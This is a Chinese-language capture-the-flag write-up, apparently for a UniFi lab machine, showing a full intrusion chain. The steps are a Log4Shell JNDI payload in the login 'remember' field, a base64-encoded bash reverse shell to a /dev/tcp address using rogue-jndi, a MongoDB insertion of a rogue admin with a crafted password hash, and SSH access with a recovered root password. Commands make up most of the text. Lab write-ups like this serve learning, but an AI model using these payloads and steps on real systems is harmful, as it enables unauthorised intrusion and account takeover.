389:LDAP服务
{"username":"admin","password":"admin","remember":"${jndi:ldap://10.10.16.41/whatever}","strict":true}
首先先安装jdk,之后再使用sudo apt-get install maven命令安装mvn
安装mvn是用于编译rogue-jndi
什么是rogue-jndi?
rogue-jndi会开启一个本地的LDAP服务器,允许我们接收来自有漏洞的服务器的连接并执行恶意代码
安装rogue-jndi工具并编译
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package
出现build success即编译成功
这时target目录下就有了RogueJndi-1.1.jar,也是我们进行漏洞利用时会用到的程序
在使用RogueJndi-1.1.jar前先看看它支持哪些参数
为了数据再传输过程中不丢失,我们对反弹shell命令进行base64编码
echo 'bash -c bash -i >&/dev/tcp/10.10.16.60/4455 0>&1' | base64
接下来使用RogueJndi-1.1.jar并监听4444端口
我们可以利用tomcat,修改之前的payload,将修改好后的payload放入remember字段,发送
接着升级为交互式shell,以方便的进行下一步
script /dev/null -c bash
见 https://erikdekker.net/ubiquity/unifi/2020/05/09/reset-unifi-password.html
知道了用户名后,我们可以通过终端连接进数据库
mongo --port 27117 ace
经过上面两个题目,我们大概能猜出来后面的思路是更新最高权限用户的密码,然后进到unifi的后台看看。
在添加用户之前,我们先要生成自己的密码,使用以下命令生成,记得最后是密码,自己更换为自己的。
mkpasswd -m sha-512 pilgrim
$6$.Iuf3FgnlzBrydZc$UY.FcqQ24YVylXjYXW5io2imJdQtMqVdflzdrnWZWZIYvTMhUYsRsXuh4DipothRUooxMfVKDVohipIowim0c.
db.admin.insert({ "email" : "pilgrim@localhost.local", "last_site_name" : "default", "name" : "unifi-admin", "time_created" : NumberLong(100019800), "x_shadow" : "$6$.Iuf3FgnlzBrydZc$UY.FcqQ24YVylXjYXW5io2imJdQtMqVdflzdrnWZWZIYvTMhUYsRsXuh4DipothRUooxMfVKDVohipIowim0c." })
接着查找所以用户,然后获取到刚才添加的用户的objectid。
db.admin.find().forEach(printjson);
查看一下网站的用户的详细信息
db.site.find().forEach(printjson);
将我们插入的用户绑定到这个网站上去
db.privilege.insert({ "unifi-admin" : "623f071e1ab0487109299461", "permissions" : [ ], "role" : "admin", "61ce269d46e0fb0012d47ec4" : "61ce269d46e0fb0012d47ec4" });
在页面登录:账号:unifi-admin 密码:pilgrim
在setting中能知道root的密码如下:
NotACrackablePassword4U2022
SSH连接